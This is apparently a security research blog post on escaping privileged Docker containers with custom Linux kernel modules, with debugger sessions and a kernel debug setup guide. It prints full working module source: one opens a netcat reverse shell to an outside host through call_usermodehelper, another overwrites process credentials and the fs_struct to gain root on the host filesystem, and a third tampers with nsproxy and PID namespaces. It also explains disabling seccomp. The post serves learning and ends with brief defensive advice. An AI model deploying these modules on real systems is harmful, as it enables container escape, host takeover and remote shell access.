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Containers aren’t really a thing. They’re a mishmash of Linux kernel-isms like namespaces

and cgroups. I wanted to write a rootkit that would make exploiting privileged docker

containers easier, and learn about how these kernel-isms are implemented along the way.

This post is going to take a look at three kernel-module specific techniques to escape a

privileged container, ranging from easy-peasy-lemon-squeezy to difficult-difficult-lemon-

difficult.

Docker containers can run in privileged  mode, which allows you do to things like install

kernel modules and gives you complete access to /dev . If you can see /dev/sda  in your

docker container, it’s probably privileged. You can usually just mount the root file system,

but I’ve come across some niggles with mounting LVM file systems. That and accessing the

block device directly wont give you network access or let you drop into other containers.

Putting together some kernel modules to get out of privileged containers would be a useful

addition to the toolbox and spending Saturday night in a kernel debugger is my kind of party.

Background on namespaces

Namespaces wrap system resources (network devices, process IDs and user/group IDs) such

that process that are running within a namespace appear to have their own copy of those

resources. For example, if you spawn a process in its own PID namespace, that process id

gets PID 1 inside the namespace. Try running unshare -fp --mount-proc /bin/bash

and running PS to see what I mean.

If you’re unfamiliar with namespaces, man 7 namespaces  is a good place to start. Most

container systems take this a step further with cgroups, seccomp and restricted capabilities.

When the kernel boots, processes are run in a set of initial namespaces. We’ll play with these

initial namespaces a bit later on in this post.

Inside the kernel, most of this info is contained within task_struct->nsproxy , with the

exception of the current PID namespace and the user namespace. Docker, which this post is

focusing on, doesn’t use a different user namespace, so we wont be looking too closely at that.

The current PID namespace is contained under the task_struct->pids[pid]->pid-

>numbers[level]  structure. Here’s what that looks like for a process that is running a PID

namespace under the initial PID namespace:

https://pulsesecurity.co.nz/articles/docker-rootkits
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root@ubuntu_1804:~# unshare -fp --mount-proc /bin/bash 
root@ubuntu_1804:~# ps 
  PID TTY          TIME CMD 
    1 pts/8    00:00:00 bash 
    9 pts/8    00:00:00 ps 
root@ubuntu_1804:~# # setting a breakpoint 
root@ubuntu_1804:~# ls 

And inside the debugger:

(gdb) break __send_signal 
Breakpoint 1 at 0xffffffff8109c0d0: file /build/linux-7kdHqT/linux-
4.15.0/kernel/signal.c, line 996. 
(gdb) c 
Continuing. 
 
Breakpoint 1, __send_signal (sig=17, info=0xffffc90001267dc0, t=0xffff880133a316c0, 
group=1, from_ancestor_ns=0) at /build/linux-7kdHqT/linux-4.15.0/kernel/signal.c:996 
996     { 
(gdb) p ((struct task_struct *)0xffff880133a316c0)->pid 
$1 = 5498 
(gdb) p ((struct task_struct *)0xffff880133a316c0)->pids[0]->pid->level 
$2 = 1 
(gdb) p ((struct task_struct *)0xffff880133a316c0)->pids[0]->pid->numbers[0] 
$3 = {nr = 5498, ns = 0xffffffff82459ca0 <init_pid_ns>} 
(gdb) p ((struct task_struct *)0xffff880133a316c0)->pids[0]->pid->numbers[1] 
$4 = {nr = 1, ns = 0xffff880133af9410} 
(gdb) p ((struct task_struct *)0xffff880133a316c0)->pids[0]->pid->numbers[1]->ns
$5 = (struct pid_namespace *) 0xffff880133af9410 
(gdb) p *((struct task_struct *)0xffff880133a316c0)->pids[0]->pid->numbers[1]->ns 
$6 = {kref = {refcount = {refs = {counter = 4}}}, idr = {idr_rt = {gfp_mask = 
100663296, rnode = 0xffff8801381ab919}, idr_next = 14}, rcu = {next = 0x0 
<irq_stack_union>, func = 0x0 <irq_stack_union>}, 
  pid_allocated = 2147483650, child_reaper = 0xffff880133a316c0, pid_cachep = 
0xffff88013b001480, level = 1, parent = 0xffffffff82459ca0 <init_pid_ns>, proc_mnt = 
0xffff8801354b7920, 
  proc_self = 0xffff880137c62480, proc_thread_self = 0xffff880137c620c0, bacct = 0x0 
<irq_stack_union>, user_ns = 0xffffffff82452f40 <init_user_ns>, ucounts = 
0xffff88013b111720, proc_work = {data = { 
      counter = 68719476704}, entry = {next = 0xffff880133af94a0, prev = 
0xffff880133af94a0}, func = 0xffffffff81140e80 <destroy_pid_namespace>}, pid_gid = 
{val = 0}, hide_pid = 0, reboot = 0, ns = {stashed = { 
      counter = 0}, ops = 0xffffffff81e2d540 <pidns_operations>, inum = 4026532265}} 

The processes real PID is 5498, and the PID within the 1st PID namespace down is 1. level

indicates we’re in a PID namespace one level down. PID namespaces should never execute

code in their parent namespaces, which is exactly what we’re trying to do! nsproxy-

>pid_for_children  points to the PID namespace that’ll be used for child processes.

Messing with level  and the PID structure directly can lead to problems, so we’ll leave that

for last.

Using usermodehelper
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One of the easier ways to get execution outside of the container namespace is to use the

usermodehelper  from a kernel module, specifically call_usermodehelper  to run a

command. I threw together the following kernel module. You call it by echo-ing something

into the /proc/legit  file.

#include <linux/module.h> 
#include <linux/kernel.h> 
#include <linux/cred.h> 
#include <linux/proc_fs.h> 
 
ssize_t w_proc(struct file *f, const char *buf, size_t count, loff_t *off){ 
    char *envp[] = {"HOME=/", "TERM=linux", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", 
0x00}; 
    char *argv[] = { 
        "/bin/bash", 
        "-c", 
        "/usr/bin/mkfifo /tmp/legit.pipe; nc 192.168.122.1 4321 < /tmp/legit.pipe | 
/bin/bash > /tmp/legit.pipe", 
        0x00 
    }; 
 
    printk(KERN_INFO "legitkit - pid is %d\n", current->pid); 
    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC); 
 
    return count; 
} 
 
struct file_operations proc_fops = { 
    write: w_proc 
};
 
int proc_init (void) { 
    printk(KERN_INFO "init procfs module"); 
    proc_create("legit",0666,NULL,&proc_fops); 
 
    return 0; 
} 
 
void proc_cleanup(void) { 
    remove_proc_entry("legit",NULL); 
} 
 
MODULE_LICENSE("GPL"); 
module_init(proc_init); 
module_exit(proc_cleanup); 

Here’s an example of this running:
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Summary

As far a sketchiness goes, this technique is probably the most robust of the three that we’ll be

looking at. Using call_usermodehelper  does not involve messing around with any

task_struct  internals directly, so the risk of accidentally causing a panic and taking down

the entire box is minimal. Add a way to clean up the process after you disconnect nc  and

job done.

I can think of a few scenarios where this won’t be sufficient. For example, if there is

firewalling on the host that prevents the netcat command from connecting back. If you’ve

already shelled the container, there has to be a way to leverage that existing shell to get

execution in the initial namespaces. That’s what we’ll look at next.

Rewriting cred and fs structs

The next technique we’ll look at is updating the file system and credentials structures to gain

access to the hosts FS. Nick Freeman from Capsule8 detailed using this technique with an

existing kernel exploit here. The plan is to update current->cred  to deal with capability

restrictions, and current->fs  to point to init_task ’s fs  struct.

Here’s the kernel module:

https://pulsesecurity.co.nz/assets/images/releases/usermode_helper.gif
https://capsule8.com/blog/practical-container-escape-exercise/
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#include <linux/module.h> 
#include <linux/kernel.h> 
#include <linux/cred.h> 
#include <linux/fs_struct.h> 
#include <linux/sched/task.h> 
#include <linux/proc_fs.h> 
 
void tweak_fs_struct(struct fs_struct * dest, struct fs_struct * source){ 
    if (dest) { 
        dest->users = 1; 
        dest->in_exec = 0; 
        dest->umask = source->umask; 
 
        dest->root = source->root; 
        dest->pwd = source->pwd; 
    } 
} 
 
ssize_t w_proc(struct file *f, const char *buf, size_t count, loff_t *off){ 
    struct task_struct * init_ts = &init_task; 
    printk(KERN_INFO "legitkit - fs overwrite - pid is %d\n", current->pid); 
 
    commit_creds(prepare_kernel_cred(0)); 
    tweak_fs_struct(current->fs, init_ts->fs); 
    current->cgroups = init_ts->cgroups; 
 
    return count; 
} 
 
struct file_operations proc_fops = { 
    write: w_proc 
};
 
 
int proc_init (void) { 
    printk(KERN_INFO "init procfs module"); 
    proc_create("legit",0666,NULL,&proc_fops); 
 
    return 0; 
} 
 
void proc_cleanup(void) { 
    remove_proc_entry("legit",NULL); 
} 
 
MODULE_LICENSE("GPL"); 
module_init(proc_init); 
module_exit(proc_cleanup); 
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We’ve got access to most things, but we’re still in the same network namespace.

I’ve left in the code to update the cgroup  pointer. While not a problem in docker containers

running with --privileged , not updating cgroup  in a default container wont allow full

access to devices and such. Attempting dd if=/dev/sda bs=1 count=8  fails.

https://pulsesecurity.co.nz/assets/images/releases/fs_struct_update.gif
https://pulsesecurity.co.nz/assets/images/releases/cgroup.gif
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Summary

Overall, I like this approach as it doesn’t involve executing a new process, you can update

what you’ve already got. We’re not messing with the internal process structures too much, so

our risk of catastrophic failure isn’t huge. We don’t end up in the host’s network namespace,

but updating nsproxy->net_ns  is pretty trivial.

Tampering nsproxy and spawing a new process

By tampering nsproxy  and the PID structure, then spawning a child process, we can

execute a process in the initial PID namespace. We’ll build on the previous module, but also

update the nsproxy  pointers along with the PID level. The code below has a MASSIVE

wrinkle, and you shouldn’t use it. w_proc  now looks like:

ssize_t w_proc(struct file * f, const char * buf, size_t count, loff_t * off){ 
    struct task_struct * init_ts = &init_task; 
    struct task_struct * cur_ts = current; 
    struct nsproxy * ns; 
    struct pid * pid; 
    printk(KERN_INFO "legitkit - kitchen sink - pid is %d\n", current->pid); 
 
    commit_creds(prepare_kernel_cred(0)); 
 
    tweak_fs_struct(cur_ts->fs, init_ts->fs); 
    cur_ts->cgroups = init_ts->cgroups; 
 
    task_lock(cur_ts); 
 
    pid = cur_ts->pids[0].pid; 
    pid->level = 0; 
 
    cur_ts->nsproxy = init_ts->nsproxy; 
 
    task_unlock(cur_ts); 
 
    return count; 
} 
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The gif above didn’t really capture the mashing of ctrl-c  in the container that did nothing.

After closing the netcat session (the modified process exits), we get a pretty huge problem:

The kernel goes into an infinite loop in do_wait_thread . D’oh! Specifically, the following

loops forever:

1450         list_for_each_entry(p, &tsk->children, sibling) { 
1451                 int ret = wait_consider_task(wo, 0, p); 
1452 
1453                 if (ret) 
1454                         return ret; 
1455         } 

https://pulsesecurity.co.nz/assets/images/releases/pidns.gif
https://pulsesecurity.co.nz/assets/images/releases/loop.png
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At this point I started trying to figure out how I could reparent a process out of a namespace

and make it PID 1’s problem (real pid 1, not pretend pid 1). Setting real_parent  to point to

the init  process worked, until someone decides to run ls /proc  or ps -ef  inside the

container, which will result in another infinite loop! Doing this properly would involve

modifying the children  and sibling  linked lists, at which point the rootkit becomes

more involved with the kernel internals. Not impossible, maybe something I’ll look at again

in the near future.

The next thought was to set pid->level  back to 1 before returning, which solved the

infinite loop but prevented new processes from being spawned by the container. The

container also couldn’t be stopped or killed, requiring a host reboot.

Summary

The more source I read through, the more it seems that the kernel really isn’t set up to go up

in a tree of PID namespaces. Sketch-factor is pretty high. Without some smarter process

handling in the rootkit, the code above results at best in a hung container, at worst a

panicked kernel. I need to spend some more time on this, but for now updating the

fs_struct  will suffice. Maybe update the net_ns  namespace for some handy pivoting

goodness if needs be.

Bonus Rounds

There were a few bits and pieces that came up during this little side-project, so I’ve detailed

them below. Maybe someone else will also find them useful.

A quick kernel debug setup

Rummaging around in the kernel generally requires a solid debug setup. Seems like a bunch

of the guides available for setting up a debug environment require you to compile and install

your own kernel. Ain’t nobody got time for that, so let Ubuntu’s package repositories do the

hard work.

I’m using an Ubuntu 18.04 base OS and libvirt for virtualization.

Inside the guest

Make sure you have source repos and the debug symbol repositories added.
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root@ubuntu1804:~# uname -a 
Linux ubuntu1804 4.15.0-48-generic #51-Ubuntu SMP Wed Apr 3 08:28:49 UTC 2019 x86_64 
x86_64 x86_64 GNU/Linux 
root@ubuntu1804:~# apt install linux-image-4.15.0-48-generic-dbgsym 
{...snip...} 
root@ubuntu1804:~# apt source linux-image-unsigned-4.15.0-48-generic 
{...snip...} 
root@ubuntu1804:~# cd linux-4.15.0/ 
root@ubuntu1804:~/linux-4.15.0# ls 
arch   certs    CREDITS  debian         Documentation  dropped.txt  fs       init  
Kbuild   kernel  MAINTAINERS  mm   README   scripts   snapcraft.yaml  spl    ubuntu  
virt 
block  COPYING  crypto   debian.master  drivers        firmware     include  ipc   
Kconfig  lib     Makefile     net  samples  security  sound           tools  usr     
zfs 

Disable KASLR by appending nokaslr  to GRUB_CMDLINE_LINUX  in

/etc/default/grub :

root@ubuntu1804:~# head -11 /etc/default/grub 
# If you change this file, run 'update-grub' afterwards to update 
# /boot/grub/grub.cfg. 
# For full documentation of the options in this file, see: 
#   info -f grub -n 'Simple configuration' 
 
GRUB_DEFAULT=0 
GRUB_TIMEOUT_STYLE=hidden 
GRUB_TIMEOUT=10 
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` 
GRUB_CMDLINE_LINUX_DEFAULT="maybe-ubiquity" 
GRUB_CMDLINE_LINUX="nokaslr" 
root@ubuntu1804:~# update-grub 
Sourcing file `/etc/default/grub' 
Sourcing file `/etc/default/grub.d/50-curtin-settings.cfg' 
Generating grub configuration file ... 
Found linux image: /boot/vmlinuz-4.15.0-48-generic 
Found initrd image: /boot/initrd.img-4.15.0-48-generic 
Found linux image: /boot/vmlinuz-4.15.0-29-generic 
Found initrd image: /boot/initrd.img-4.15.0-29-generic 
done 

Reboot and double check KASLR is disabled. I like to note one of the symbol addresses to

double check against GDB later.

root@ubuntu1804:~# cat /proc/cmdline 
BOOT_IMAGE=/boot/vmlinuz-4.15.0-48-generic root=UUID=41544c7a-68e6-11e9-8e4b-
525400af3392 ro nokaslr maybe-ubiquity 
root@ubuntu1804:~# grep '__send_signal' /proc/kallsyms 
ffffffff8109d650 t __send_signal 

On the host

We need to copy over /usr/lib/debug  and the source folder from the guest:
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doi@buzdovan:~/dbg$ scp -r root@192.168.122.237:linux-4.15.0 ./ 
{...snip...} 
doi@buzdovan:~/dbg$ scp -r root@192.168.122.237:/usr/lib/debug ./ 
{...snip...} 

Next, enable the debug stub. I used virsh edit --domain guest_vm  and added the

following to the domain xml:

<qemu:commandline> 
  <qemu:arg value='-s'/> 
</qemu:commandline> 

Modify the top line and as follows:

<domain type='kvm' xmlns:qemu='http://libvirt.org/schemas/domain/qemu/1.0'> 

Reboot the guest and then attach gdb. Remember to double check the symbol address noted

above, making sure KASLR has been disabled:
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doi@buzdovan:~/dbg$ gdb debug/boot/vmlinux-4.15.0-48-generic 
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git 
Copyright (C) 2018 Free Software Foundation, Inc. 
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> 
This is free software: you are free to change and redistribute it. 
There is NO WARRANTY, to the extent permitted by law.  Type "show copying" 
and "show warranty" for details. 
This GDB was configured as "x86_64-linux-gnu". 
Type "show configuration" for configuration details. 
For bug reporting instructions, please see: 
<http://www.gnu.org/software/gdb/bugs/>. 
Find the GDB manual and other documentation resources online at: 
<http://www.gnu.org/software/gdb/documentation/>. 
For help, type "help". 
Type "apropos word" to search for commands related to "word"... 
Reading symbols from debug/boot/vmlinux-4.15.0-48-generic...^Cdone. 
(gdb) Quit 
(gdb) p __send_signal 
$1 = {int (int, struct siginfo *, struct task_struct *, int, int)} 0xffffffff8109d650 
<__send_signal> 
(gdb) target remote 127.0.0.1:1234 
Remote debugging using 127.0.0.1:1234 
native_safe_halt () at /build/linux-fkZVDM/linux-
4.15.0/arch/x86/include/asm/irqflags.h:55 
55      /build/linux-fkZVDM/linux-4.15.0/arch/x86/include/asm/irqflags.h: No such 
file or directory. 
(gdb) set substitute-path /build/linux-fkZVDM/linux-4.15.0/ /home/doi/dbg/linux-
4.15.0/ 
(gdb) c 
Continuing. 
^C
Program received signal SIGINT, Interrupt. 
native_safe_halt () at /build/linux-fkZVDM/linux-
4.15.0/arch/x86/include/asm/irqflags.h:55 
55      } 
(gdb) break __send_signal 
Breakpoint 1 at 0xffffffff8109d650: file /build/linux-fkZVDM/linux-
4.15.0/kernel/signal.c, line 996. 
(gdb) c 
Continuing. 
 
Breakpoint 1, __send_signal (sig=17, info=0xffffc90000737dc0, t=0xffff888073ef96c0, 
group=1, from_ancestor_ns=0) at /build/linux-fkZVDM/linux-4.15.0/kernel/signal.c:996 
996     { 
(gdb) p ((struct task_struct *)0xffff888073ef96c0)->pid 
$2 = 1221 
(gdb) 

That’s it, successful kernel debug environment set up without compiling a kernel.

Disabling seccomp
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Disabling seccomp for a process turned out to be pretty simple. task->thread_info-

>flags  needs to have the TIF_SECCOMP  flag unset, and task->seccomp->mode  set to 0.

Just doing the latter hits BUG()  in __secure_computing . If you’re porting an existing

exploit to escape a non-privileged docker container, then this might come in handy:

Defense

Enabling kernel signature module enforcement or disabling modules all together would

prevent these tricks from working, given that they require installing kernel modules. On the

other hand, not executing untrusted code in privileged containers is a better solution, as

there’s more than one way to compromise the root-to-kernel boundary. There is an over-

arching question here of whether containers should be considered a security boundary, but

that’s a discussion for another post.
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